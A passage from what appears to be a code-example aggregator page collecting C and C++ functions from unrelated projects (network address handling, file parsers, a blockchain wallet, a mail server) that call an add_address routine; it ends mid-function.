Пример #1
0
void spread_addresses(addr_t ** al, uint32_t width)
{
	addr_t * p = *al;
	int n_addr = 0;
	while (*p != NO_ADDRESS)
	{
		n_addr++;
		p++;
	}
	int addr_count = n_addr;
	int i, j;
	p = *al;
	for (i=0; i<n_addr; i++, p++)
		for (j=1; j<width; j++)
		{
			add_address(al, *p + j);
			addr_count++;
			if (*p >= j )
			{
				add_address(al, *p - j);
				addr_count++;
			}
		}

	LOG(LOG_INFO, "spread to a total of %d addresses\n", addr_count);
}
Пример #2
0
void scan_img_for_addresses(image_t * img, addr_t ** al)
{
	uint8_t * p;
	addr_t a;
	int do_dump;
	addr_t sequence;
	uint32_t addr_count = 0;

	/* scanning for 0xFF->0xXX transitions */
	p        = img->map;
	do_dump  = 0;
	sequence = 0;
	for (a=0; a < img->size; a++)
	{
		if (*p == 0xff)
			sequence++;
		else
		{
			if (do_dump == 1)
			{
				LOG(LOG_SCAN, "interesting address 0x%8.8x after %6d 0xff\n", a, sequence);
				add_address(al, a);
				addr_count++;
				do_dump = 0;
			}
			sequence = 0;
		}
		if (sequence > SEQ_THRESHOLD)
			do_dump = 1;
		p++;
	}

	/* scanning for 0x00->0xXX transitions */
	p        = img->map;
	do_dump  = 0;
	sequence = 0;
	for (a=0; a < img->size; a++)
	{
		if (*p == 0x00)
			sequence++;
		else
		{
			if (do_dump == 1)
			{
				LOG(LOG_SCAN, "interesting address 0x%8.8x after %6d 0x00\n", a, sequence);
				add_address(al, a);
				addr_count++;
				do_dump = 0;
			}
			sequence = 0;
		}
		if (sequence > SEQ_THRESHOLD)
			do_dump = 1;
		p++;
	}
	LOG(LOG_INFO, "using %u interesting addresses\n", addr_count);
}
Пример #3
0
prefix_node *dag_network::add_address(const ip_address addr)
{
    ip_subnet vs;

    initsubnet(&addr, 128, 0, &vs);
    return add_address(vs);
}
Пример #4
0
void dag_network::add_prefix(rpl_node advertising_peer,
                             network_interface *iface,
                             ip_subnet prefix)
{
    prefix_node &pre = this->dag_prefixes[prefix];

    if(!pre.is_installed()) {
        this->set_prefix(prefix);
        pre.set_prefix(prefix);
        pre.set_debug(this->debug);
        pre.set_installed(true);
        pre.set_announcer(&advertising_peer);
        dao_needed = true;

        maybe_schedule_dio();
    }

    /* next, see if we should configure an address in this prefix */
    if(!mIgnorePio) {
        prefix_node *preMe = add_address(prefix);

        if(!preMe->is_installed()) {
            dao_needed = true;
            preMe->set_prefix(prefix);
            preMe->set_debug(this->debug);
            preMe->set_announcer(&advertising_peer);
            preMe->configureip(iface, this);

            if(dag_me == NULL) {
                dag_me = preMe;
            }
        }
    }
}
Пример #5
0
static __inline void read_hot_trackdata(uint8_t * Data, size_t Size, addresslist_t * AddressList){
    if(Size < 19) return;

    while(memcmp(Data, "[TrackData]", 11)){
        if(Size < 20) return;
        Data++; Size--;
    }

    Data += 12;
    Size -= 12;
    if(*Data == '\n'){
        Data++; Size--;
    }

    while(1){
        uint8_t * IDPos = Data;
        address_t * Address;
        uint32_t SoundID, LogicalAddress;

        /* End of key: Sound ID */
        while(*Data != '='){
            if(Size < 5) return;
            Data++; Size--;
        }
        *Data = '\0';
        SoundID = strtol((char*)IDPos, NULL, 0);
        Data++; Size--;
        IDPos = Data;

        while(*Data != '\n'){
            if(Size < 2) return;
            Data++; Size--;
        }
        *Data = '\0';
        LogicalAddress = strtol((char*)IDPos, NULL, 0);
        Data++; Size--;

        Address = find_address_by_logical_address(AddressList, LogicalAddress);
        if(!Address){
            Address = find_address_by_sound_id(AddressList, SoundID);
            if(!Address){
                Address = add_address(AddressList);
                Address->SoundID = SoundID;
            }
            Address->LogicalAddress = LogicalAddress;
        } else Address->SoundID = SoundID;

        if(Size < 8) return;
        while(*Data == '\r' || *Data == '\n' || *Data == ' ' || *Data == '\t'){
            if(Size < 8) return;
            Data++; Size--;
        }

        if(*Data == '[') return;
    }
}
Пример #6
0
std::unique_ptr<proto::Bip44Address> Blockchain::AllocateAddress(
    const Identifier& nymID,
    const Identifier& accountID,
    const std::string& label,
    const BIP44Chain chain) const
{
    LOCK_ACCOUNT()

    const std::string sNymID = nymID.str();
    const std::string sAccountID = accountID.str();
    std::unique_ptr<proto::Bip44Address> output{nullptr};
    auto account = load_account(accountLock, sNymID, sAccountID);

    if (false == bool(account)) {
        otErr << OT_METHOD << __FUNCTION__ << ": Account does not exist."
              << std::endl;

        return output;
    }

    const auto& type = account->type();
    const auto index =
        chain ? account->internalindex() : account->externalindex();

    if (MAX_INDEX == index) {
        otErr << OT_METHOD << __FUNCTION__ << ": Account is full." << std::endl;

        return output;
    }

    auto& newAddress = add_address(index, *account, chain);
    newAddress.set_version(BLOCKCHAIN_VERSION);
    newAddress.set_index(index);
    newAddress.set_address(calculate_address(*account, chain, index));

    OT_ASSERT(false == newAddress.address().empty());

    otErr << OT_METHOD << __FUNCTION__ << ": Address " << newAddress.address()
          << " allocated." << std::endl;
    newAddress.set_label(label);
    const auto saved = api_.Storage().Store(sNymID, type, *account);

    if (false == saved) {
        otErr << OT_METHOD << __FUNCTION__ << ": Failed to save account."
              << std::endl;

        return output;
    }

    output.reset(new proto::Bip44Address(newAddress));

    return output;
}
Пример #7
0
void SyntaxAnalyzer::make_poliz_label()
{
	PolizFunNOP* tmp = new PolizFunNOP;
	add_poliz_list(tmp);
	PolizItem* p = poliz_list;
	while (p->next!=0)
		p = p->next;
	if (is_first_label(cur->lex))
		add_label_list(p, cur->lex);
	else {
		add_address(p, cur->lex);
		add_address_poliz(p, cur->lex);
	}
}
Пример #8
0
static __inline void read_evt_addresses(uint8_t * Data, size_t Size, addresslist_t * AddressList){
    if(Size < 13) return;

    while(1){
        uint8_t * Name = Data, * TrackIDPos;
        address_t * Address;
        uint32_t TrackID;

        Data++; Size--;

        /* End of first field: address name */
        while(*Data != ','){
            if(Size < 13) return;
            Data++; Size--;
        }
        *Data = '\0';
        Data++; Size--;

        /* End of second field: unneeded */
        while(*Data != ','){
            if(Size < 11) return;
            Data++; Size--;
        }
        Data++; Size--;
        TrackIDPos = Data;

        /* End of third field: Track ID */
        while(*Data != ','){
            if(Size < 9) return;
            Data++; Size--;
        }
        *Data = '\0';
        Data++; Size--;

        TrackID = atoi((char*)TrackIDPos);
        Address = find_address_by_track_id(AddressList, TrackID);
        if(!Address){
            Address = add_address(AddressList);
            Address->Exported = 1;
            Address->TrackID = TrackID;
        }
        Address->Name = (char*)Name;

        while(*Data != '\n'){
            if(Size < 15) return;
            Data++; Size--;
        }
        Data++; Size--;
    }
}
Пример #9
0
bool bdb_common::save_transaction(txn_guard_ptr txn, uint32_t block_depth,
    uint32_t tx_index, const hash_digest& tx_hash,
    const message::transaction& block_tx)
{
    if (dupli_save(txn, tx_hash, block_depth, tx_index))
        return true;
    // Actually add block
    protobuf::Transaction proto_tx = transaction_to_protobuf(block_tx);
    proto_tx.set_is_coinbase(is_coinbase(block_tx));
    // Add parent block to transaction
    protobuf::Transaction_BlockPointer* proto_parent = proto_tx.add_parent();
    proto_parent->set_depth(block_depth);
    proto_parent->set_index(tx_index);
    // Save tx to bdb
    std::ostringstream oss;
    if (!proto_tx.SerializeToOstream(&oss))
        return false;
    readable_data_type key, value;
    key.set(tx_hash);
    value.set(oss.str());
    // Checks for duplicates first
    if (db_txs_->put(txn->get(), key.get(), value.get(), DB_NOOVERWRITE) != 0)
        return false;
    if (is_coinbase(block_tx))
        return true;
    for (uint32_t input_index = 0; input_index < block_tx.inputs.size();
        ++input_index)
    {
        const message::transaction_input& input = 
            block_tx.inputs[input_index];
        const message::input_point inpoint{tx_hash, input_index};
        if (!mark_spent_outputs(txn, input.previous_output, inpoint))
            return false;
    }
    for (uint32_t output_index = 0; output_index < block_tx.outputs.size();
        ++output_index)
    {
        const message::transaction_output& output =
            block_tx.outputs[output_index];
        if (!add_address(txn, output.output_script, {tx_hash, output_index}))
            return false;
    }
    return true;
}
Пример #10
0
bool
TunnelIPv6Interface::set_realm_local_address(const struct in6_addr *addr, int prefixlen)
{
	bool ret = false;

	if (is_online() && (mRealmLocalAddress != *addr)) {
		require(ret = add_address(addr, prefixlen), bail);

		if (!IN6_IS_ADDR_UNSPECIFIED(&mRealmLocalAddress)) {
			remove_address(&mRealmLocalAddress, mRealmLocalPrefixSize);
		}
	}

	mRealmLocalAddress = *addr;
	mRealmLocalPrefixSize = prefixlen;

	ret = true;

bail:
	return ret;
}
Пример #11
0
int main(int argc, char ** argv){
	image_t img;
	img.fname = malloc(strlen(argv[1])+1);
	memcpy(img.fname, argv[1], strlen(argv[1])+1);
	map_file(&img);
	address_list = malloc(MAX_ADDRESSES * sizeof(*address_list));
	memset(address_list, NO_ADDRESS, MAX_ADDRESSES * sizeof(*address_list));

	init_indexer();

	add_address(&address_list, 0);
	scan_img_for_addresses(&img, &address_list);

	spread_addresses(&address_list, ADDRESS_SPREAD);

	LOG(LOG_INDEX, "creating index ...\n");fflush(stdout);
	create_index(&img);
	LOG(LOG_INDEX, "creating index done.\n");fflush(stdout);

	int as; /* start address */
	int ae; /*   end address */
	/* O(n^2) */
	for (as=0; address_list[as] != NO_ADDRESS; as++)
	{
		for (ae=0; address_list[ae] != NO_ADDRESS; ae++)
		{
			/* FIXME we could use another parameter than ADDRESS_SPREAD */
			if (address_list[ae] > address_list[as] + ADDRESS_SPREAD)
			{
				LOG(LOG_ADDR,
				    "checksumming 0x%8.8x to 0x%8.8x\n",
				    address_list[as],
				    address_list[ae]);
				do_checksum(address_list[as], address_list[ae], &img);
			}
		}
	}

	return 0;
}
Пример #12
0
/*
 * Create an address list
 */
static int
av_create_address_list(char *first_address, int base, int num_addr,
		void *addr_array, int offset, int len)
{
	int (*add_address)(char *, int, void *);
	uint8_t *cur_addr;
	int addrlen;
	int ret;
	int i;

	switch (fi->addr_format) {
	case FI_SOCKADDR:
	case FI_SOCKADDR_IN:
		addrlen = sizeof(struct sockaddr_in);
		add_address = av_create_addr_sockaddr_in;
		break;
	default:
		sprintf(err_buf, "test does not yet support %s",
				fi_tostr(&fi->addr_format, FI_TYPE_ADDR_FORMAT));
		return -FI_ENOSYS;
	}

	if (len < addrlen * (offset + num_addr)) {
		sprintf(err_buf, "internal error, not enough room for %d addresses",
				num_addr);
		return -FI_ENOMEM;
	}

	cur_addr = addr_array;
	cur_addr += offset * addrlen;
	for (i = 0; i < num_addr; ++i) {
		ret = add_address(first_address, base + i, cur_addr);
		if (ret != 0) {
			return ret;
		}
		cur_addr += addrlen;
	}

	return cur_addr - (uint8_t *)addr_array;
}
Пример #13
0
static __inline void read_hit_addresses(uint8_t * Data, size_t Size, addresslist_t * AddressList, uint32_t * SymbolTable){
    uint8_t * Start = Data, * TableData;
    unsigned i, count = 0;

    if(Size < 32) return;
    Data += 16;
    Size -= 16;

    /* Find the table start */
    while(memcmp(Data, "ENTP", 4)){
        if(Size < 17) return;
        Data++; Size--;
    }

    TableData = Data;
    Data += 4;
    Size -= 4;

    /* Find the table end */
    while(memcmp(Data, "EENT", 4)){
        if(Size < 12) return;
        Data+=8; Size-=8;
        count++;
    }

    *SymbolTable = TableData - Start;

    if(count == 0) return;
    TableData += 4;

    for(i=0; i<count; i++){
        address_t * Address = add_address(AddressList);
        Address->Exported       = 1;
        Address->TrackID        = read_uint32(TableData); TableData+=4;
        Address->LogicalAddress = read_uint32(TableData); TableData+=4;
    }
}
/* function: configure_tun_ip
 * configures the ipv4 and ipv6 addresses on the tunnel interface
 * tunnel - tun device data
 */
void configure_tun_ip(const struct tun_data *tunnel) {
  int status;

  // Configure the interface before bringing it up. As soon as we bring the interface up, the
  // framework will be notified and will assume the interface's configuration has been finalized.
  status = add_address(tunnel->device4, AF_INET, &Global_Clatd_Config.ipv4_local_subnet,
      32, &Global_Clatd_Config.ipv4_local_subnet);
  if(status < 0) {
    logmsg(ANDROID_LOG_FATAL,"configure_tun_ip/if_address(4) failed: %s",strerror(-status));
    exit(1);
  }

  if((status = if_up(tunnel->device6, Global_Clatd_Config.mtu)) < 0) {
    logmsg(ANDROID_LOG_FATAL,"configure_tun_ip/if_up(6) failed: %s",strerror(-status));
    exit(1);
  }

  if((status = if_up(tunnel->device4, Global_Clatd_Config.ipv4mtu)) < 0) {
    logmsg(ANDROID_LOG_FATAL,"configure_tun_ip/if_up(4) failed: %s",strerror(-status));
    exit(1);
  }

  configure_tun_ipv6(tunnel);
}
Пример #15
0
/*** msg_handler ***/
int msg_handler (struct sockaddr_nl *nl, struct nlmsghdr *msg) {
	int rc = EXIT_FAILURE;
	char *notifystr = NULL;
	unsigned int errcount = 0;
	GError *error = NULL;
	struct ifaddrmsg *ifa;
	struct ifinfomsg *ifi;
	struct rtattr *rth;
	int rtl;
	char buf[INET6_ADDRSTRLEN];
	NotifyNotification *tmp_notification = NULL, *notification = NULL;
	char *icon = NULL;

	ifa = (struct ifaddrmsg *) NLMSG_DATA (msg);
	ifi = (struct ifinfomsg *) NLMSG_DATA (msg);

	/* make sure we have alloced memory for NotifyNotification and addresses_seen struct array */
	if (maxinterface < ifi->ifi_index) {
		ifs = realloc(ifs, (ifi->ifi_index + 1) * sizeof(struct ifs));
		while(maxinterface < ifi->ifi_index) {
			maxinterface++;

			if (verbose > 0)
				printf("%s: Initializing interface %d: ", program, maxinterface);

			/* get interface name and store it
			 * in case the interface does no longer exist this may fail,
			 * use static string '(unknown)' instead */
			if (if_indextoname(maxinterface, ifs[maxinterface].name) == NULL)
				strcpy(ifs[maxinterface].name, "(unknown)");

			if (verbose > 0)
				printf("%s\n", ifs[maxinterface].name);

			ifs[maxinterface].state = -1;
			ifs[maxinterface].deleted = 0;

			ifs[maxinterface].notification =
#				if NOTIFY_CHECK_VERSION(0, 7, 0)
				notify_notification_new(TEXT_TOPIC, NULL, NULL);
#				else
				notify_notification_new(TEXT_TOPIC, NULL, NULL, NULL);
#				endif
			notify_notification_set_category(ifs[maxinterface].notification, PROGNAME);
			notify_notification_set_urgency(ifs[maxinterface].notification, NOTIFY_URGENCY_NORMAL);
			notify_notification_set_timeout(ifs[maxinterface].notification, notification_timeout);

			ifs[maxinterface].addresses_seen = NULL;
		}
	} else if (ifs[ifi->ifi_index].deleted == 1) {
		if (verbose > 0)
			printf("%s: Ignoring event for deleted interface %d.\n", program, ifi->ifi_index);
		rc = EXIT_SUCCESS;
		goto out;
	}

	/* make notification point to the array element, will be overwritten
	 * later when needed for address notification */
	notification = ifs[ifi->ifi_index].notification;

	/* get interface name and store it
	 * in case the interface does no longer exist this may fail, but it does not overwrite */
	if_indextoname(ifi->ifi_index, ifs[ifi->ifi_index].name);

	if (verbose > 1)
		printf("%s: Event for interface %s (%d): flags = %x, msg type = %d\n",
			program, ifs[ifi->ifi_index].name, ifi->ifi_index, ifa->ifa_flags, msg->nlmsg_type);

	switch (msg->nlmsg_type) {
		/* just return for cases we want to ignore
		 * use break if a notification has to be displayed */
		case RTM_NEWADDR:
			rth = IFA_RTA (ifa);
			rtl = IFA_PAYLOAD (msg);

			while (rtl && RTA_OK (rth, rtl)) {
				if ((rth->rta_type == IFA_LOCAL /* IPv4 */
						|| rth->rta_type == IFA_ADDRESS /* IPv6 */)
						&& ifa->ifa_scope == RT_SCOPE_UNIVERSE /* no IPv6 scope link */) {
					inet_ntop(ifa->ifa_family, RTA_DATA (rth), buf, sizeof(buf));

					/* check if we already notified about this address */
					if (match_address(ifs[ifi->ifi_index].addresses_seen, buf, ifa->ifa_prefixlen)) {
						if (verbose > 0)
							printf("%s: Address %s/%d already known for %s, ignoring.\n",
									program, buf, ifa->ifa_prefixlen, ifs[ifi->ifi_index].name);
						break;
					}

					/* add address to struct */
					ifs[ifi->ifi_index].addresses_seen =
						add_address(ifs[ifi->ifi_index].addresses_seen, buf, ifa->ifa_prefixlen);
					if (verbose > 1)
						list_addresses(ifs[ifi->ifi_index].addresses_seen, ifs[ifi->ifi_index].name);

					/* display notification */
					notifystr = newstr_addr(ifs[ifi->ifi_index].name,
						ifa->ifa_family, buf, ifa->ifa_prefixlen);

					/* we are done, no need to run more loops */
					break;
				}
				rth = RTA_NEXT (rth, rtl);
			}
			/* we did not find anything to notify */
			if (notifystr == NULL) {
				rc = EXIT_SUCCESS;
				goto out;
			}

			/* do we want new notification, not update the notification about link status */
			tmp_notification =
#				if NOTIFY_CHECK_VERSION(0, 7, 0)
				notify_notification_new(TEXT_TOPIC, NULL, NULL);
#				else
				notify_notification_new(TEXT_TOPIC, NULL, NULL, NULL);
#				endif
			notify_notification_set_category(tmp_notification, PROGNAME);
			notify_notification_set_urgency(tmp_notification, NOTIFY_URGENCY_NORMAL);
			notify_notification_set_timeout(tmp_notification, notification_timeout);

			notification = tmp_notification;

			icon = ICON_NETWORK_ADDRESS;

			break;
		case RTM_DELADDR:
			rth = IFA_RTA (ifa);
			rtl = IFA_PAYLOAD (msg);

			while (rtl && RTA_OK (rth, rtl)) {
				if ((rth->rta_type == IFA_LOCAL /* IPv4 */
						|| rth->rta_type == IFA_ADDRESS /* IPv6 */)
						&& ifa->ifa_scope == RT_SCOPE_UNIVERSE /* no IPv6 scope link */) {
					inet_ntop(ifa->ifa_family, RTA_DATA (rth), buf, sizeof(buf));
					ifs[ifi->ifi_index].addresses_seen =
						remove_address(ifs[ifi->ifi_index].addresses_seen, buf, ifa->ifa_prefixlen);
					if (verbose > 1)
						list_addresses(ifs[ifi->ifi_index].addresses_seen, ifs[ifi->ifi_index].name);

					/* we are done, no need to run more loops */
					break;
				}
				rth = RTA_NEXT (rth, rtl);
			}

			rc = EXIT_SUCCESS;
			goto out;

		case RTM_NEWROUTE:
			rc = EXIT_SUCCESS;
			goto out;

		case RTM_DELROUTE:
			rc = EXIT_SUCCESS;
			goto out;

		case RTM_NEWLINK:
			/* ignore if state did not change */
			if ((ifi->ifi_flags & CHECK_CONNECTED) == ifs[ifi->ifi_index].state) {
				rc = EXIT_SUCCESS;
				goto out;
			}

			ifs[ifi->ifi_index].state = ifi->ifi_flags & CHECK_CONNECTED;

			notifystr = newstr_link(ifs[ifi->ifi_index].name, ifi->ifi_flags);

			icon = ifi->ifi_flags & CHECK_CONNECTED ? ICON_NETWORK_UP : ICON_NETWORK_DOWN;

			/* free only if interface goes down */
			if (!(ifi->ifi_flags & CHECK_CONNECTED)) {
				free_addresses(ifs[ifi->ifi_index].addresses_seen);
				ifs[ifi->ifi_index].addresses_seen = NULL;
			}

			break;
		case RTM_DELLINK:
			notifystr = newstr_away(ifs[ifi->ifi_index].name);

			icon = ICON_NETWORK_AWAY;

			free_addresses(ifs[ifi->ifi_index].addresses_seen);
			/* marking interface deleted makes events for this interface to be ignored */
			ifs[ifi->ifi_index].deleted = 1;

			break;
		default:
			/* we should not get here... */
			fprintf(stderr, "msg_handler: Unknown netlink nlmsg_type %d.\n", msg->nlmsg_type);

			goto out;
	}

	if (verbose > 0)
		printf("%s: %s\n", program, notifystr);

	notify_notification_update(notification, TEXT_TOPIC, notifystr, icon);

	while (notify_notification_show(notification, &error) == FALSE) {
		if (errcount > 1) {
			fprintf(stderr, "%s: Looks like we can not reconnect to notification daemon... Exiting.\n", program);
			goto out;
		} else {
			g_printerr("%s: Error \"%s\" while trying to show notification. Trying to reconnect.\n", program, error->message);
			errcount++;

			g_error_free(error);
			error = NULL;

			notify_uninit();

			usleep (500 * 1000);

			if (notify_init(PROGNAME) == FALSE) {
				fprintf(stderr, "%s: Can't create notify.\n", program);
				goto out;
			}
		}
	}

	rc = EXIT_SUCCESS;

out:
	if (tmp_notification)
		g_object_unref(G_OBJECT(tmp_notification));
	errcount = 0;
	free(notifystr);

	return rc;
}
Пример #16
0
static __inline void read_hsm_addresses(uint8_t * Data, size_t Size, addresslist_t * AddressList){
    if(Size < 24) return;

    while(1){
        uint8_t * Name, * IDPos;
        address_t * Address;
        uint32_t SoundID, LogicalAddress;

        /* Find the next constant that begins with "tkd_" */
        while(memcmp(Data, "\ntkd_", 5)){
            if(Size < 25) return;
            Data++; Size--;
        }
        Name = Data += 5;
        Size -= 5;

        /* End of tkd constant name */
        while(*Data != ' '){
            if(Size < 19) return;
            Data++; Size--;
        }
        *Data = '\0';
        Data++; Size--;
        IDPos = Data;

        /* End of tkd constant value */
        while(*Data != ' '){
            if(Size < 17) return;
            Data++; Size--;
        }
        *Data = '\0';
        Data++; Size--;
        SoundID = atoi((char*)IDPos);

        /* End of address constant name */
        while(*Data != ' '){
            if(Size < 9) return;
            Data++; Size--;
        }
        Data++; Size--;
        IDPos = Data;

        /* End of address constant value */
        while(*Data != ' '){
            if(Size < 7) return;
            Data++; Size--;
        }
        *Data = '\0';
        Data++; Data--;
        LogicalAddress = atoi((char*)IDPos);

        Address = find_address_by_logical_address(AddressList, LogicalAddress);
        if(!Address){
            Address = find_address_by_name(AddressList, (char*)Name);
            if(!Address){
                Address = add_address(AddressList);
                Address->Name = (char*)Name;
            }
            Address->LogicalAddress = LogicalAddress;
        } else Address->Name = (char*)Name;
        Address->SoundID = SoundID;

        while(*Data != '\n'){
            if(Size < 25) return;
            Data++; Size--;
        }
    }
}
Пример #17
0
    int
expand( struct envelope *unexpanded_env )
{
    struct expand               exp;
    struct envelope             *base_error_env;
    struct envelope             *env_dead = NULL;
    struct envelope             *env;
    struct envelope             **env_p;
    struct recipient            *rcpt;
    struct expand_output        *host_stab = NULL;
    struct expand_output        *eo;
    struct expand_output        *eo_free;
    struct exp_addr             *e_addr;
    struct exp_addr             *next_e_addr;
    struct simta_red            *hq_red;
    char                        *domain;
    SNET                        *snet = NULL;
    int                         n_rcpts;
    int                         return_value = 1;
    int                         env_out = 0;
    int                         fast_file_start;
    int                         sendermatch;
    char                        e_original[ MAXPATHLEN ];
    char                        d_original[ MAXPATHLEN ];
    char                        d_out[ MAXPATHLEN ];
    /* RFC 5321 4.5.3.1.3.  Path
     * The maximum total length of a reverse-path or forward-path is 256
     * octets (including the punctuation and element separators).
     */
    char                        header[ 270 ];
#ifdef HAVE_LDAP
    char                        *p;
    int                         loop_color = 1;
    struct exp_link             *memonly;
    struct exp_link             *parent;
#endif /* HAVE_LDAP */

    if ( unexpanded_env->e_hostname != NULL ) {
        syslog( LOG_INFO, "Expand env <%s>: already expanded for host %s",
                unexpanded_env->e_id, unexpanded_env->e_hostname );
        return_value = 0;
        goto done;
    }

    memset( &exp, 0, sizeof( struct expand ));
    exp.exp_env = unexpanded_env;
    fast_file_start = simta_fast_files;

    /* call address_expand on each address in the expansion list.
     *
     * if an address is expandable, the address(es) that it expands to will
     * be added to the expansion list. These non-terminal addresses must
     * have their st_data set to NULL to specify that they are not to be
     * included in the terminal expansion list.
     *
     * Any address in the expansion list whose st_data is not NULL is
     * considered a terminal address and will be written out as one
     * of the addresses in expanded envelope(s).
     */

    if (( base_error_env = address_bounce_create( &exp )) == NULL ) {
        syslog( LOG_ERR, "Expand env <%s>: address_bounce_create: %m",
                unexpanded_env->e_id );
        goto done;
    }

    if ( env_recipient( base_error_env, unexpanded_env->e_mail ) != 0 ) {
        syslog( LOG_ERR, "Expand env <%s>: env_recipient: %m",
                unexpanded_env->e_id );
        goto done;
    }

    /* add all of the original recipients to the expansion list */
    for ( rcpt = unexpanded_env->e_rcpt; rcpt != NULL; rcpt = rcpt->r_next ) {
        if ( add_address( &exp, rcpt->r_rcpt, base_error_env,
                ADDRESS_TYPE_EMAIL, exp.exp_env->e_mail ) != 0 ) {
            /* add_address syslogs errors */
            goto cleanup1;
        }
    }

    /* process the expansion list */
    for ( exp.exp_addr_cursor = exp.exp_addr_head;
            exp.exp_addr_cursor != NULL;
            exp.exp_addr_cursor = exp.exp_addr_cursor->e_addr_next ) {
        switch ( address_expand( &exp )) {
        case ADDRESS_EXCLUDE:
            exp.exp_addr_cursor->e_addr_terminal = 0;
            /* the address is not a terminal local address */
            break;

        case ADDRESS_FINAL:
            exp.exp_addr_cursor->e_addr_terminal = 1;
            break;

        case ADDRESS_SYSERROR:
            goto cleanup1;

        default:
            panic( "Expand: address_expand out of range" );
        }
    }

#ifdef HAVE_LDAP
    /* Members-only processing */
    for ( memonly = exp.exp_memonly; memonly != NULL;
            memonly = memonly->el_next ) {
        if ((( p = parent_permitted( memonly->el_exp_addr )) != NULL ) ||
                ( sender_is_child( memonly->el_exp_addr->e_addr_children,
                loop_color++ ))) {
            if ( p != NULL ) {
                syslog( LOG_INFO, "Expand env <%s>: members-only group %s OK: "
                        "parent %s permitted",
                        unexpanded_env->e_id, memonly->el_exp_addr->e_addr, p );

            } else {
                syslog( LOG_INFO, "Expand env <%s>: members-only group %s OK: "
                        "sender is child",
                        unexpanded_env->e_id, memonly->el_exp_addr->e_addr );
            }
            memonly->el_exp_addr->e_addr_ldap_flags =
                    ( memonly->el_exp_addr->e_addr_ldap_flags &
                    ( ~STATUS_LDAP_MEMONLY ));
            if ( memonly->el_exp_addr->e_addr_env_moderated != NULL ) {
                env_free( memonly->el_exp_addr->e_addr_env_moderated );
                memonly->el_exp_addr->e_addr_env_moderated = NULL;
            }

        } else {
            syslog( LOG_NOTICE,
                    "Expand env <%s>: members-only group %s suppressed",
                    unexpanded_env->e_id, memonly->el_exp_addr->e_addr );
            memonly->el_exp_addr->e_addr_ldap_flags |= STATUS_LDAP_SUPPRESSOR;
            suppress_addrs( memonly->el_exp_addr->e_addr_children,
                    loop_color++ );
        }
    }
#endif /* HAVE_LDAP */

    sprintf( d_original, "%s/D%s", unexpanded_env->e_dir,
            unexpanded_env->e_id );

    /* Create one expanded envelope for every host we expanded address for */
    for ( e_addr = exp.exp_addr_head; e_addr != NULL;
            e_addr = e_addr->e_addr_next ) {

#ifdef HAVE_LDAP
        if ((( e_addr->e_addr_ldap_flags & STATUS_LDAP_SUPPRESSED ) != 0 ) &&
                ( !unblocked_path_to_root( e_addr, loop_color++ ))) {
            if ( simta_expand_debug != 0 ) {
                printf( "Suppressed: %s\n", e_addr->e_addr );
            }
            continue;
        }
        if ( e_addr->e_addr_env_gmailfwd != NULL ) {
            e_addr->e_addr_env_gmailfwd->e_attributes =
                    unexpanded_env->e_attributes | ENV_ATTR_ARCHIVE_ONLY;

            if ( simta_expand_debug != 0 ) {
                printf( "Group mail forwarding: %s\n", e_addr->e_addr );
                env_stdout( e_addr->e_addr_env_gmailfwd );
                continue;
            }

            sprintf( d_out, "%s/D%s", e_addr->e_addr_env_gmailfwd->e_dir,
                    e_addr->e_addr_env_gmailfwd->e_id );
            if ( env_dfile_copy( e_addr->e_addr_env_gmailfwd, d_original,
                    NULL ) == 0 ) {
                syslog( LOG_ERR, "Expand env <%s>: %s: env_dfile_copy failed",
                        unexpanded_env->e_id,
                        e_addr->e_addr_env_gmailfwd->e_id );
                goto cleanup3;
            }

            simta_debuglog( 2, "Expand env <%s>: group mail env %s dinode %d",
                    unexpanded_env->e_id,
                    e_addr->e_addr_env_gmailfwd->e_id,
                    (int)e_addr->e_addr_env_gmailfwd->e_dinode );

            sendermatch = !strcasecmp( unexpanded_env->e_mail,
                    e_addr->e_addr_env_gmailfwd->e_mail );

            n_rcpts = 0;
            for ( rcpt = e_addr->e_addr_env_gmailfwd->e_rcpt; rcpt != NULL;
                    rcpt = rcpt->r_next ) {
                n_rcpts++;
                if ( sendermatch ) {
                    syslog( LOG_INFO, "Expand env <%s>: %s: To <%s> From <%s>",
                            unexpanded_env->e_id,
                            e_addr->e_addr_env_gmailfwd->e_id, rcpt->r_rcpt,
                            e_addr->e_addr_env_gmailfwd->e_mail );
                } else {
                    syslog( LOG_INFO,
                            "Expand env <%s>: %s: To <%s> From <%s> (%s)",
                            unexpanded_env->e_id,
                            e_addr->e_addr_env_gmailfwd->e_id, rcpt->r_rcpt,
                            e_addr->e_addr_env_gmailfwd->e_mail,
                            unexpanded_env->e_mail );
                }

            }
            syslog( LOG_INFO,
                    "Expand env <%s>: %s: Expanded %d group mail forwarders",
                    unexpanded_env->e_id, e_addr->e_addr_env_gmailfwd->e_id,
                    n_rcpts );

            if ( env_outfile( e_addr->e_addr_env_gmailfwd ) != 0 ) {
                /* env_outfile syslogs errors */
                if ( unlink( d_out ) != 0 ) {
                    syslog( LOG_ERR, "Syserror: expand unlink %s: %m", d_out );
                }
                goto cleanup3;
            }
            env_out++;
            queue_envelope( e_addr->e_addr_env_gmailfwd );
            continue;

        }

        if ( e_addr->e_addr_env_moderated != NULL ) {
            e_addr->e_addr_env_moderated->e_attributes =
                    unexpanded_env->e_attributes;

            if ( simta_expand_debug != 0 ) {
                printf( "Moderated: %s\n", e_addr->e_addr );
                env_stdout( e_addr->e_addr_env_moderated );
                continue;
            }

            sprintf( d_out, "%s/D%s", e_addr->e_addr_env_moderated->e_dir,
                    e_addr->e_addr_env_moderated->e_id );
            if ( env_dfile_copy( e_addr->e_addr_env_moderated, d_original,
                    NULL ) == 0 ) {
                syslog( LOG_ERR, "Expand env <%s>: %s: env_dfile_copy failed",
                        unexpanded_env->e_id,
                        e_addr->e_addr_env_moderated->e_id );
                goto cleanup3;
            }

            simta_debuglog( 2, "Expand env <%s>: %s: moderation env dinode %d",
                    unexpanded_env->e_id, e_addr->e_addr_env_moderated->e_id,
                    (int)e_addr->e_addr_env_moderated->e_dinode );

            sendermatch = !strcasecmp( unexpanded_env->e_mail,
                    e_addr->e_addr_env_moderated->e_mail );

            n_rcpts = 0;
            for ( rcpt = e_addr->e_addr_env_moderated->e_rcpt; rcpt != NULL;
                    rcpt = rcpt->r_next ) {
                n_rcpts++;
                if ( sendermatch ) {
                    syslog( LOG_INFO, "Expand env <%s>: %s: To <%s> From <%s>",
                            unexpanded_env->e_id,
                            e_addr->e_addr_env_moderated->e_id, rcpt->r_rcpt,
                            e_addr->e_addr_env_moderated->e_mail );
                } else {
                    syslog( LOG_INFO,
                            "Expand env <%s>: %s: To <%s> From <%s> (%s)",
                            unexpanded_env->e_id,
